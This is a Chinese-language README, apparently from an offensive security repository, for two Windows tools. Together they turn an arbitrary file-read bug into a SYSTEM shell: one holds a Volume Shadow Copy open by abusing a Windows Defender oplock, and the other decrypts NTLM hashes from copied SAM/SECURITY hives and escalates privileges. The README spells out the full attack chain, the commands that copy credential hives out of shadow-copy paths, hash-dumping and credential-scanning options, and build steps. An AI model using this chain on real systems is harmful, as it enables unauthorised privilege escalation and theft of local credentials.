
test
两个小型工具,可将 Windows 上的任意文件读取漏洞转化为 SYSTEM Shell。
vss_freeze/ —— 以标准用户身份创建卷影副本,然后保持其打开状态,以便你有足够时间从中读取 SAM/SECURITY/SYSTEM 配置单元fr2system/ —— 获取你复制出的配置单元,离线解密本地 NTLM 哈希,并弹出 SYSTEM Shell配合任何以 SYSTEM 身份运行(或能够读取 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\... 路径)的任意文件读取原语,这在默认的 Win10/Win11 机器上构成了一条完整的标准用户 → SYSTEM 攻击链。
这段代码提取自 BlueHammer —— 我们在该 Windows Defender 滥用研究中发现,在受监控路径下放置 EICAR 文件会导致 Defender 在其修复流程中创建卷影副本。我们在 Defender 的加载路径上持有一个 RstrtMgr.dll 批处理机会锁(oplock),使 Defender 在修复开始时保持暂停状态,从而让 VSS 持续存活所需时间。
最初在此之上还有第二阶段 cldflt 冻结操作,但 cldflt 在 Win11 24H2 上拒绝了非 OneDrive 同步提供程序(CfRegisterSyncRoot 返回 0x80070057)。事实证明,仅保持阶段 1 的 oplock 处于打开状态就已足够——Defender 保持暂停,VSS 保持活跃,完全无需使用 Cloud Files API。
[ vss_simple_freeze.exe ] → [ 你的任意读取 PoC ] → [ fr2system.exe ]
以标准用户创建 VSS 从 VSS 路径读取 SAM/ 破解 NTLM,弹出 SYSTEM
通过 oplock 保持 SECURITY Shell
vss_simple_freeze.exe --hold 120。它会打印 VSS 路径,例如 \Device\HarddiskVolumeShadowCopy7。\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SAM\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SECURITYC:\Windows\Temp\fileread\SAM 和 C:\Windows\Temp\fileread\SECURITY。fr2system.exe。获得 SYSTEM Shell。如果你只想在本地机器上端到端验证攻击链,可以用管理员 cmd 模拟任意读取步骤:
:: 窗口 1 - 标准用户
vss_simple_freeze.exe --hold 300
:: 窗口 2 - 管理员 cmd(模拟任意读取原语)
mkdir C:\Windows\Temp\fileread
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SAM" C:\Windows\Temp\fileread\SAM
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SECURITY" C:\Windows\Temp\fileread\SECURITY
:: 窗口 3 - 再次以标准用户身份
fr2system.exe
(将 7 替换为 vss_simple_freeze 打印出的实际编号。)
vss_simple_freeze.exe [选项]
--hold N 在 N 秒后自动释放(默认:等待 Enter)
--auto 非交互式,最多保持 600 秒
--publish FILE 将 VSS 路径写入 FILE(默认:%TEMP%\vss_current.txt)
--no-publish 不将 VSS 路径写入任何地方
--event NAME 当命名事件 Local\NAME 被触发时释放
--quiet 抑制每秒钟的活动输出
--help 显示帮助
示例:
vss_simple_freeze.exe # 交互式,按 Enter 释放
vss_simple_freeze.exe --hold 120 # 2 分钟后自动释放
vss_simple_freeze.exe --event lpe_done --hold 300 # 信号触发或 5 分钟后释放
fr2system.exe [选项]
(无参数) 默认 - 从 C:\Windows\Temp\fileread 读取 SAM/SECURITY,提升至 SYSTEM
--dump 仅转储 NTLM 哈希,不进行提权
--scan 扫描其他凭据来源
--path DIR 使用其他输入目录
--help 显示帮助
示例:
fr2system.exe
fr2system.exe --dump
fr2system.exe --path C:\lab\hives
fr2system.exe 期望输入目录中至少包含 SAM。SECURITY 是可选的(用于 LSA 机密 / DPAPI 密钥)。
两个项目均使用 MSVC(静态 CRT,x64)。
cd vss_freeze
build_vss_simple_freeze.bat
cd fr2system
msbuild fr2system.sln /p:Configuration=Release /p:Platform=x64
VSS 创建:

fr2system → SYSTEM Shell:
